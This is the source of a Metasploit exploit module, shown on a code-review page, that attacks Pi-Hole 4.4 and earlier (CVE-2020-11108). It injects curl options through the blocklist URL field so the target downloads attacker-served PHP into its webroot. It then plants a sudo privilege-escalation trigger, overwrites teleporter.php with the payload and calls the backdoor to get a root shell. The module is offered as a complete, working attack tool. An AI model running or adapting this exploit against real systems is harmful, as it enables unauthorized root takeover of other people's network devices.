rapid7/metasploit-framework

View on GitHub
modules/exploits/unix/http/pihole_blocklist_exec.rb

Summary

Maintainability
C
7 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Pihole

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution',
        'Description' => %q{
          This exploits a command execution in Pi-Hole <= 4.4.  A new blocklist is added, and then an
          update is forced (gravity) to pull in the blocklist content.  PHP content is then written
          to a file within the webroot.  Phase 1 writes a sudo pihole command to launch teleporter,
          effectively running a priv esc.  Phase 2 writes our payload to teleporter.php, overwriting,
          the content.  Lastly, the phase 1 PHP file is called in the web root, which launches
          our payload in teleporter.php with root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Nick Frichette' # original PoC, discovery
        ],
        'References' => [
          ['EDB', '48443'],
          ['EDB', '48442'],
          ['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'],
          ['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'],
          ['CVE', '2020-11108']
        ],
        'Platform' => ['php'],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2020-05-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    # set the default port, and a URI that a user can set if the app isn't installed to the root
    register_options(
      [
        Opt::RPORT(80),
        OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]),
        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
      ]
    )
  end

  def setup
    super
    @stage = 0
  end

  def on_request_uri(cli, request)
    if request.method == 'GET'
      vprint_status('Received GET request.  Responding')
      send_response(cli, rand_text_alphanumeric(5..10))
      return
    end

    case @stage
    when 0
      vprint_status('(1/2) Sending priv esc trigger')
      send_response(cli, %q{<?php shell_exec("sudo pihole -a -t") ?>})
      @stage += 1
    when 1
      vprint_status('(2/2) Sending root payload')
      send_response(cli, payload.encoded)
      @stage = 0
    else
      send_response(cli, rand_text_alphanumeric(5..10))
      vprint_status("Server received default request for #{request.uri}")
    end
  end

  def check
    begin
      version, _web_version, _ftl = get_versions

      if version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown
      end

      if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears
      else
        vprint_bad("Version Detected: #{version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown
    end
    CheckCode::Safe
  end

  def add_blocklist(file, token)
    # according to the writeup, if you have a port, the colon gets messed up in the encoding.
    # also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
    # messed with.
    data = {
      'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "),
      'field' => 'adlists',
      'token' => token,
      'submit' => 'saveupdate'
    }

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_get' => {
        'tab' => 'blocklists'
      },
      'data' => data.to_query
    )
  end

  def execute_shell(backdoor_name)
    vprint_status('Popping root shell')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
      'keep_cookies' => true
    )
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    if datastore['SRVPORT'] != 80
      fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
    end

    if datastore['SRVHOST'] == '0.0.0.0'
      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
    end

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => '/'
      }
    })

    begin
      # get cookie
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'keep_cookies' => true
      )

      # check if we need to login
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'tab' => 'blocklists'
        }
      )

      # check if we got hit by a login prompt
      if res && res.body.include?('Sign in to start your session')
        res = login(datastore['PASSWORD'])
        fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?
      end

      token = get_token('blocklists')

      if token.nil?
        fail_with(Failure::UnexpectedReply, 'Unable to find token')
      end
      print_status("Using token: #{token}")

      # plant backdoor
      backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
      register_file_for_cleanup backdoor_name
      print_status('Adding backdoor reference')
      add_blocklist(backdoor_name, token)

      # update gravity
      update_gravity
      if @stage == 0
        print_status('Sending 2nd gravity update request.')
        update_gravity
      end

      # plant root upgrade
      print_status('Adding root reference')
      add_blocklist('teleporter.php', token)

      # update gravity
      update_gravity
      if @stage == 1
        print_status('Sending 2nd gravity update request.')
        update_gravity
      end

      # pop shell
      execute_shell(backdoor_name)
      print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end